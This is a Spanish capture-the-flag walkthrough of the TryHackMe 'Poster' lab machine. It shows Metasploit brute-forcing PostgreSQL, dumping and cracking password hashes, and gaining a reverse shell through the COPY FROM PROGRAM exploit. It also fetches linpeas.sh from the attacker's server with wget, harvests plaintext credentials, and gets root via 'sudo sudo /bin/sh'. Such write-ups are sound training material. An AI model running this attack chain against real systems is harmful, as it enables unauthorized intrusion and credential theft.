TryHackMe Easy Target IP: 10.130.176.29

Máquina Poster

Resolución paso a paso de la máquina Poster de TryHackMe, enfocada en la explotación de bases de datos PostgreSQL y la escalada de privilegios local mediante permisos de sudo.

#Linux#PostgreSQL#Metasploit#Cracking#Sudo#Privilege-Escalation#GTFOBins

Fase 1: Reconocimiento (Escaneo de Puertos)

El primer paso es realizar un escaneo completo de puertos para mapear los servicios expuestos en el host objetivo.

Escaneo Completo de Nmap

Se ejecuta un escaneo completo de puertos TCP (-p-) determinando versiones (-sV) y scripts de reconocimiento básico (-A), con velocidad agresiva (-T5):

sudo nmap -sV -A -T5 -p- 10.130.176.29
Escaneo inicial de puertos de Nmap
Resultados del escaneo de Nmap sobre el objetivo 10.130.176.29

Resultados Clave de Nmap

El escaneo revela 3 puertos abiertos de interés:

  • Puerto 22 (SSH): Servidor OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux).
  • Puerto 80 (HTTP): Servidor web Apache httpd 2.4.18 (Ubuntu) con el título de página “Poster CMS”.
  • Puerto 5432 (PostgreSQL): Base de datos PostgreSQL DB 9.5.8 - 9.5.10 o superior.

Fase 2: Enumeración y Explotación de PostgreSQL

1. Búsqueda de Módulos de PostgreSQL en Metasploit

Dado que el puerto de PostgreSQL (5432) se encuentra abierto, iniciamos Metasploit y buscamos módulos relacionados con este servicio:

msfconsole
search postgresql
Búsqueda de módulos de PostgreSQL en MSF
Lista de módulos disponibles en Metasploit para PostgreSQL

2. Fuerza Bruta a PostgreSQL

Seleccionamos el escáner de login para PostgreSQL (auxiliary/scanner/postgres/postgres_login):

use 25
show options
Opciones de postgres_login
Opciones del módulo de escaneo de inicio de sesión de PostgreSQL

Configuramos el host objetivo (RHOSTS) y lanzamos el módulo:

set RHOSTS 10.130.176.29
exploit

El ataque de fuerza bruta identifica de forma exitosa una credencial válida por defecto:

Credenciales encontradas en PostgreSQL
Identificación de credenciales válidas en la base de datos
  • Usuario: postgres
  • Contraseña: password
  • Base de datos: template1

3. Enumeración Adicional de la Base de Datos

Para profundizar en la base de datos, buscamos los módulos de extracción de versión y dump de hashes:

Módulos de extracción de base de datos
Identificación de los índices de los módulos postgres_version y postgres_hashdump

A. Versión de PostgreSQL

Seleccionamos el módulo auxiliary/scanner/postgres/postgres_version (index 33):

use 33
set RHOSTS 10.130.176.29
set PASSWORD password
exploit
Escaneo de versión de Postgres
Versión de base de datos PostgreSQL 9.5.21 detectada en Ubuntu 16.04
  • Versión detectada: PostgreSQL 9.5.21 on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 5.4.0-6ubuntu1~16.04.12)

B. Extracción de Hashes de Usuarios

Cambiamos al módulo auxiliary/scanner/postgres/postgres_hashdump (index 40):

use 40
set PASSWORD password
set RHOSTS 10.130.176.29
exploit
Configuración de postgres_hashdump
Opciones del módulo hashdump antes de la ejecución

Ejecutamos el exploit y obtenemos los hashes MD5 de la base de datos:

Dumping de hashes de PostgreSQL
Listado de hashes de usuarios de base de datos extraídos
  • Hashes extraídos:
    • darkstart -> md58842b99375db43e9fdf238753623a27d
    • poster -> md578fb805c7412ae597b399844a54cce0a
    • postgres -> md532e12f215ba27cb750c9e093ce4b5127
    • sistemas -> md5f7dbc0d5a06653e74da6b1af9290ee2b
    • ti -> md57af9ac4c593e9e4f275576e13f935579
    • tryhackme -> md5503aab1165001c8f8ccae31a8824efddc

4. Descifrado de Hashes

Introducimos el hash del usuario poster (removiendo el prefijo md5) en la herramienta web en línea Free Password Hash Cracker para romper el cifrado MD5:

Descifrado de hash en CrackStation
Descifrado exitoso del hash de poster obteniendo la clave en texto claro
  • Usuario: poster
  • Contraseña descifrada: batmanposter

Fase 3: Acceso Inicial mediante PostgreSQL RCE

1. Selección del Exploit de Inyección de Comandos

Buscamos un exploit de ejecución de comandos sobre PostgreSQL en Metasploit. Seleccionamos el exploit exploit/multi/postgres/postgres_copy_from_program_cmd_exec (index 23):

Selección de módulo COPY FROM
Módulo exploit/multi/postgres/postgres_copy_from_program_cmd_exec en la lista

Este módulo abusa de los privilegios de PostgreSQL mediante la sentencia COPY ... FROM PROGRAM para ejecutar comandos directamente en el sistema operativo.

2. Configuración y Obtención de la Shell

Configuramos los parámetros del exploit utilizando las credenciales obtenidas de poster:

set USERNAME poster
set PASSWORD batmanposter
set RHOSTS 10.130.176.29
set LHOST 192.168.149.112
exploit
Explotación exitosa de shell reversa
Conexión exitosa y obtención de una terminal interactiva

La explotación es correcta y abre de forma inmediata una sesión de comandos en el sistema. Ejecutamos ls y verificamos que nos encontramos en el directorio de la base de datos de PostgreSQL.


Fase 4: Movimiento Lateral

1. Enumeración de Usuarios Locales

Listamos la carpeta /home para identificar los usuarios registrados en el sistema operativo:

ls /home
  • Usuarios encontrados: alison, dark

Inspeccionamos la carpeta del usuario dark y localizamos un archivo de texto llamado credentials.txt:

ls /home/dark
cat /home/dark/credentials.txt
Credenciales de dark
Lectura de credentials.txt conteniendo la contraseña del usuario dark
  • Credenciales obtenidas: dark:qwerty1234#!hackme

Al intentar leer la flag de usuario en /home/alison/user.txt desde nuestra shell actual (que corre bajo el usuario del sistema postgres), el sistema nos devuelve un error de permiso denegado:

Descarga de linpeas.sh
Fallo al leer la bandera de alison y transferencia rápida de linpeas.sh

Para automatizar la enumeración local del sistema, levantamos un servidor HTTP local en Python y descargamos el script linpeas.sh:

wget 192.168.149.112:8000/linpeas.sh

Ejecutamos linpeas.sh para auditar debilidades internas del kernel y del sistema de archivos:

Ejecución de linpeas.sh
Resultados de la enumeración interna de LinPeas sobre el host objetivo

2. Acceso al Usuario Dark

Utilizando la credencial encontrada en su directorio (qwerty1234#!hackme), iniciamos sesión como el usuario dark mediante su:

su - dark
Cambio de usuario a dark
Inicio de sesión como dark y comprobación de permisos de credentials.txt

Inspeccionamos los permisos en /home/dark y vemos que el archivo credentials.txt tenía los permisos de lectura y escritura habilitados de forma global (-rwxrwxrwx), lo cual explica por qué pudimos leerlo previamente.

3. Búsqueda de Archivos del Usuario Alison

Aún con el usuario dark, no disponemos de permisos suficientes para acceder a la carpeta personal de alison. Buscamos todos los archivos del sistema que pertenezcan al usuario alison para tratar de identificar configuraciones mal protegidas:

find / -type f -user alison 2>/dev/null
Búsqueda de archivos de alison
Descubrimiento de un archivo de configuración propiedad de alison en el servidor web

El comando revela un hallazgo crítico:

  • /var/www/html/config.php (propiedad del usuario alison)

4. Obtención de Credenciales de Alison

Inspeccionamos el archivo de configuración /var/www/html/config.php:

cat /var/www/html/config.php
Archivo config.php con contraseña
Credenciales en texto claro expuestas en la configuración del sitio web

El archivo revela los siguientes parámetros de conexión:

  • $dbuname = "alison";
  • $dbpass = "p4ssw0rdS3cur3!#";

5. Acceso al Usuario Alison y Captura de Flag User

Iniciamos sesión como alison utilizando su clave recién descubierta (p4ssw0rdS3cur3!#):

su - alison
cat user.txt
Flag de alison obtenida
Visualización de la bandera de usuario como alison
  • Flag de Usuario: THM{postgresql_fa1l_conf1gurat1on}

Fase 5: Escalada de Privilegios a Root

1. Comprobación de Sudo y Abuso del Binario Sudo

Verificamos qué privilegios tiene el usuario alison en la configuración de sudoers:

sudo -l

Comprobamos que el usuario alison tiene la capacidad de ejecutar el binario /usr/bin/sudo como superusuario sin ninguna restricción de comando ((ALL : ALL) ALL).

Haciendo referencia al portal GTFOBins para el ejecutable sudo:

GTFOBins para sudo
Documentación en GTFOBins sobre el escape de restricciones utilizando sudo

Dado que alison puede llamar a sudo mediante sudo, ejecutamos una consola interactiva de root invocando el binario de forma recursiva:

sudo sudo /bin/sh
whoami
Escalada a root y captura de bandera
Consola de root y lectura de la bandera root.txt
  • Usuario: root
  • Comando de lectura: cat /root/root.txt
  • Flag Root: THM{c0ngrats_for_read_the_f1le_w1th_credent1als}

La máquina ha sido totalmente comprometida de forma exitosa.


Fuentes y Referencias